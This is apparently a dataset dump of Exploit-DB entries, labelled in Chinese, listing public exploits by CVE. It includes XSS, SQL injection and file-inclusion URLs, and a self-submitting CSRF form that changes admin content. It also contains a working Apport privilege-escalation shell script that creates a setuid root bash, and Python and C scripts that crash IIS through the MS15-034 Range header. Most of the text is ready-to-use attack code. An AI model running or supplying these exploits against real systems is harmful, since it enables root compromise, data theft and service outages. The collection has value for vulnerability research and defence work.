QLWD/code_shield huggingface dataset:
标题: Tube Ace - 'q' Cross-Site Scripting EDB-ID: 36790 CVE: 2012-1029 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/52046/info

Tube Ace is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/search/?q=%22%3E%3Cscript%3Ealert%28%22pwned%22%29%3C/script%3E&channel= URL: https://www.exploit-db.com/exploits/36790
标题: Oracle - Outside-In '.DOCX' File Parsing Memory Corruption EDB-ID: 36788 CVE: 2015-0493 2015-0474 类型: DOS 平台: WINDOWS 发布日期: 2015-04-17 漏洞利用脚本: #####################################################################################

Title:   Oracle Outside-In DOCX File Parsing Memory Corruption

Platforms:   Windows

CVE:

Secunia:

{PRL}:   2015-04

Author:   Francis Provencher (Protek Research Lab’s)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

 

Oracle Outside In Technology provides software developers with a comprehensive solution to access, transform, and control the contents of over 500 unstructured file formats. From the latest office suites, such as Microsoft Office 2007, to specialty formats and legacy files, Outside In Technology provides software developers with the tools to transform unstructured files into controllable information.

(http://www.oracle.com/us/technologies/embedded/025613.htm)

#####################################################################################

============================
2) Report Timeline
============================

2015-02-17: Francis Provencher from Protek Research Lab’s found the issue;
2015-02-18: Oracle Security Alerts confirmed the issue;
2015-04-15: Oracle release a Patch for this issue.

#####################################################################################

============================
3) Technical details
============================

The vulnerability is caused due to a certain value in a document, which can be exploited to corrupt memory via a specially crafted document.

Successful exploitation may allow execution of arbitrary code.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/PRL-2015-04.docx
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36788.docx URL: https://www.exploit-db.com/exploits/36788
标题: Oracle Hyperion Smart View for Office 11.1.2.3.000 - Crash (PoC) EDB-ID: 36783 CVE: 2015-2572 类型: DOS 平台: WINDOWS 发布日期: 2015-04-17 漏洞利用脚本: # Exploit Title: Buffer Overflow in Oracle� Hyperion Smart View for Office
[DOS]
# Exploit Author: sajith
# Vendor Homepage: http://oracle.com
# vulnerable Version: Fusion Edition 11.1.2.3.000 Build 157
#Vulnerable Link:
http://www.oracle.com/technetwork/middleware/smart-view-for-office/downloads/index.html
# Tested in: Microsoft Windows 7 Enterprise 6.1.7601 Service Pack 1
[x64],en-us
#plugin tested with Microsoft Excel 2010
#CVE: CVE-2015-2572

Responsible Disclosure:

Reported to Oracle on Jul 7, 2014
patch released on April 14, 2015

How to reproduce the bug?


1)install "Smart view" and open Microsoft excel and click on "smart view"
tab

2)click on "Options" and then click on "Advanced" tab

3) In General menu in "shared Connections URL" enter large value say 50000
"A"'s and press ok, the application crashes, the output of the crash
analyzed in debugger is shown below

Note:Plugin once installed automatically integrates with Microsoft office
products like,excel,Word,PowerPoint,Microsoft office.so the vulnerability
can be exploited via any of these products.

==================python script to create 50000 "A"'s============


try:

    print "POC by sajith shetty"

    f = open("text.txt","w")

    junk = "A" * 50000

    f.write(junk)

    print "done"

except Exception, e:

        print "error- " + str(e)


Debugger o/p:

eax=00410061 ebx=0041005d ecx=00410041 edx=00000000 esi=00410061
edi=0041005d
eip=779622d2 esp=0040b7f8 ebp=0040b80c iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010206
ntdll!RtlEnterCriticalSection+0x12:
779622d2 f00fba3000      lock btr dword ptr [eax],0
ds:002b:00410061=????????

caused by MODULE_NAME: HsAddin


start    end        module name
0fb50000 111a0000   HsAddin    (export symbols)
C:\Oracle\SmartView\bin\HsAddin.dll
    Loaded symbol image file: C:\Oracle\SmartView\bin\HsAddin.dll
    Image path: C:\Oracle\SmartView\bin\HsAddin.dll
    Image name: HsAddin.dll
    Timestamp:        Wed Mar 27 04:27:50 2013 (515227EE)
    CheckSum:         0163F951
    ImageSize:        01650000
    File version:     11.1.2.3085
    Product version:  11.1.2.3085
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Oracle Corporation
    ProductName:      Oracle� Hyperion Smart View for Office, Fusion Edition
    InternalName:     CommonAddin
    ProductVersion:   11.1.2.3.000.157
    FileVersion:      11.1.2.3085
    FileDescription:  Oracle� Hyperion Smart View for Office, Fusion Edition
    LegalCopyright:   Copyright 2004, 2013 Oracle Corporation.  All rights
reserved
    LegalTrademarks:  Oracle� is registered. URL: https://www.exploit-db.com/exploits/36783
标题: PHP 5.3.8 - Remote Denial of Service EDB-ID: 36789 CVE: 2012-0789 类型: DOS 平台: PHP 发布日期: 2011-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/52043/info

PHP is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to exhaust available memory, denying access to legitimate users.

PHP versions prior to 5.3.9 are vulnerable. 

<?php
while (true)
{
strtotime('Monday 00:00 Europe/Paris'); // Memory leak
}
?> URL: https://www.exploit-db.com/exploits/36789
标题: 11in1 CMS 1.2.1 - '/admin/index.php?class' Traversal Local File Inclusion EDB-ID: 36785 CVE: 2012-0996 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/52025/info
 
11in1 is prone to a cross-site request-forgery and a local file include vulnerability.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.
 
11in1 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/index.php?class=../../../tmp/file%00 URL: https://www.exploit-db.com/exploits/36785
标题: 11in1 CMS 1.2.1 - 'index.php?class' Traversal Local File Inclusion EDB-ID: 36784 CVE: 2012-0996 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/52025/info

11in1 is prone to a cross-site request-forgery and a local file include vulnerability.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.

11in1 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?class=../../../tmp/file%00 URL: https://www.exploit-db.com/exploits/36784
标题: 11in1 CMS 1.2.1 - Cross-Site Request Forgery (Admin Password) EDB-ID: 36786 CVE: 2012-0997 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/52025/info
  
11in1 is prone to a cross-site request-forgery and a local file include vulnerability.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.
  
11in1 1.2.1 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/index.php?class=do&action=addTopic" method="post">
<input type="hidden" name="name" value="New Topic Name here">
<input type="hidden" name="sec" value="3">
<input type="hidden" name="content" value="New Topic Content here">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script> URL: https://www.exploit-db.com/exploits/36786
标题: Apport 2.14.1 (Ubuntu 14.04.2) - Local Privilege Escalation EDB-ID: 36782 CVE: 2015-1318 类型: LOCAL 平台: LINUX 发布日期: 2015-04-17 漏洞利用脚本: #!/bin/sh
#
# CVE-2015-1318
# 
# Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758
# 
# Example:
#
# % uname -a
# Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
#
# % lsb_release -a
# No LSB modules are available.
# Distributor ID: Ubuntu
# Description:    Ubuntu 14.04.2 LTS
# Release:    14.04
# Codename:   trusty
#
# % dpkg -l | grep '^ii  apport ' | awk -F ' '  '{ print $2 " " $3 }'
# apport 2.14.1-0ubuntu3.8
#
# % id
# uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...)
#
# % ./apport.sh
# pwned-4.3# id
# uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...)
# pwned-4.3# exit

TEMPDIR=$(mktemp -d)

cd ${TEMPDIR}

cp /bin/busybox .

mkdir -p dev mnt usr/share/apport

(
cat << EOF
#!/busybox sh
(
cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned
chmod 5755 /mnt/1/root/tmp/pwned
) 
EOF

) > usr/share/apport/apport

chmod +x usr/share/apport/apport

(
cat << EOF
mount -o bind . .
cd .
mount --rbind /proc mnt
touch dev/null
pivot_root . .
./busybox sleep 500 &
SLEEP=\$!
./busybox sleep 1
./busybox kill -11 \$SLEEP
./busybox sleep 5
EOF
) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \
    lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null

/tmp/pwned -p

rm -Rf ${TEMPDIR} URL: https://www.exploit-db.com/exploits/36782
标题: STHS v2 Web Portal - 'prospect.php?team' SQL Injection EDB-ID: 36770 CVE: 2012-1217 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/51991/info
 
STHS v2 Web Portal is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/prospect.php?team=[SQLi]' URL: https://www.exploit-db.com/exploits/36770
标题: STHS v2 Web Portal - 'prospects.php?team' SQL Injection EDB-ID: 36769 CVE: 2012-1217 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/51991/info

STHS v2 Web Portal is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected. 

 http://www.example.com/prospects.php?team=[SQLi]' URL: https://www.exploit-db.com/exploits/36769
标题: Microsoft Windows - 'HTTP.sys' HTTP Request Parsing Denial of Service (MS15-034) EDB-ID: 36776 CVE: 2015-1635 类型: DOS 平台: WINDOWS 发布日期: 2015-04-16 漏洞利用脚本: #Tested on Win Srv 2012R2.
import socket,sys
 
if len(sys.argv)<=1: 
 sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()

#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"

SendPayload(Init, Host)
SendPayload(Payload, Host) URL: https://www.exploit-db.com/exploits/36776
标题: Powie pFile 1.02 - '/pfile/kommentar.php?filecat' Cross-Site Scripting EDB-ID: 36765 CVE: 2012-1211 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/51982/info

pfile is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

pfile 1.02 is vulnerable; other versions may also be affected. 

http://www.example.compfile/kommentar.php?filecat=[xss]&fileid=0 URL: https://www.exploit-db.com/exploits/36765
标题: STHS v2 Web Portal - 'team.php?team' SQL Injection EDB-ID: 36771 CVE: 2012-1217 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/51991/info
  
STHS v2 Web Portal is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
STHS v2 Web Portal 2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/team.php?team=[SQLi]' URL: https://www.exploit-db.com/exploits/36771
标题: Powie pFile 1.02 - '/pfile/file.php?id' SQL Injection EDB-ID: 36766 CVE: 2012-1210 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/51982/info
 
pfile is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
pfile 1.02 is vulnerable; other versions may also be affected. 

http://www.example.com/pfile/file.php?eintrag=0&filecat=0&id=%24%7[xql] URL: https://www.exploit-db.com/exploits/36766
标题: Microsoft Windows - 'HTTP.sys' (PoC) (MS15-034) EDB-ID: 36773 CVE: 2015-1635 类型: DOS 平台: WINDOWS 发布日期: 2015-04-15 漏洞利用脚本: /*
 UNTESTED - MS15-034 Checker
  
 THE BUG:

 8a8b2112 56              push    esi
 8a8b2113 6a00            push    0
 8a8b2115 2bc7            sub     eax,edi
 8a8b2117 6a01            push    1
 8a8b2119 1bca            sbb     ecx,edx
 8a8b211b 51              push    ecx
 8a8b211c 50              push    eax
 8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here

 ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4

 BY: john.b.hale@gmai.com
 Twitter: @rhcp011235
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 

int connect_to_server(char *ip)
{
 int sockfd = 0, n = 0;

  struct sockaddr_in serv_addr;
  struct hostent *server;

 if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
     {
         printf("\n Error : Could not create socket \n");
         return 1;
     }

 memset(&serv_addr, '0', sizeof(serv_addr));
 serv_addr.sin_family = AF_INET;
     serv_addr.sin_port = htons(80);
 if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
     {
         printf("\n inet_pton error occured\n");
         return 1;
     }
 if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
     {
         printf("\n Error : Connect Failed \n");
        return 1;
     } 

 return sockfd;
}
 

int main(int argc, char *argv[])
{
    int n = 0;
    int sockfd;
    char recvBuff[1024];

    // Check server
    char request[] = "GET / HTTP/1.0\r\n\r\n";

    // our evil buffer
    char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";


    if(argc != 2)
    {
        printf("\n Usage: %s <ip of server> \n",argv[0]);
        return 1;
    } 

    printf("[*] Audit Started\n");
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request, strlen(request)); 
    read(sockfd, recvBuff, sizeof(recvBuff)-1);

    if (!strstr(recvBuff,"Microsoft"))
    {
  printf("[*] NOT IIS\n");
  exit(1);
    }

    sockfd = connect_to_server(argv[1]);
    write(sockfd, request1, strlen(request1));
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
    if (strstr(recvBuff,"Requested Range Not Satisfiable"))
    {
                printf("[!!] Looks VULN\n");
                exit(1);
    } else if(strstr(recvBuff,"The request has an invalid header name")) {
 printf("[*] Looks Patched");
} else
 printf("[*] Unexpected response, cannot discern patch status");
 

  

} URL: https://www.exploit-db.com/exploits/36773
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_ag_main.php' Crafted Arbitrary File Upload / Arbitrary Code Execution EDB-ID: 36760 CVE: 2012-1198 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                                      
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                                      
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                                      
BASE 1.4.5 is vulnerable; other versions may be affected.

http://www.example.com/base_ag_main.php?ag_action=create File and past your code URL: https://www.exploit-db.com/exploits/36760
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/admin/index.php?base_path' Remote File Inclusion EDB-ID: 36759 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                                     
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                                     
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                                     
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/admin/index.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36759
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_user.php?base_path' Remote File Inclusion EDB-ID: 36755 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                                  
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                                  
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                                  
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_user.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36755
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_stat_sensor.php?base_path' Remote File Inclusion EDB-ID: 36752 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                               
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                               
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                               
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_stat_sensor.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36752
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - '/admin/base_useradmin.php?base_path' Remote File Inclusion EDB-ID: 36758 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                                    
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                                    
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                                    
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/admin/base_useradmin.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36758
标题: Basic Analysis and Security Engine (BASE) 1.4.5 - 'base_stat_uaddr.php?base_path' Remote File Inclusion EDB-ID: 36754 CVE: 2012-1199 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/51979/info
                                 
BASE is prone to a security-bypass vulnerability and multiple remote file-include vulnerabilities.
                                 
An attacker can exploit these issues to gain unauthorized access, obtain potentially sensitive information, or execute arbitrary script code in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
                                 
BASE 1.4.5 is vulnerable; other versions may be affected.

Exploit: http://www.example.com/base/base_stat_uaddr.php?BASE_path=[EV!L] URL: https://www.exploit-db.com/exploits/36754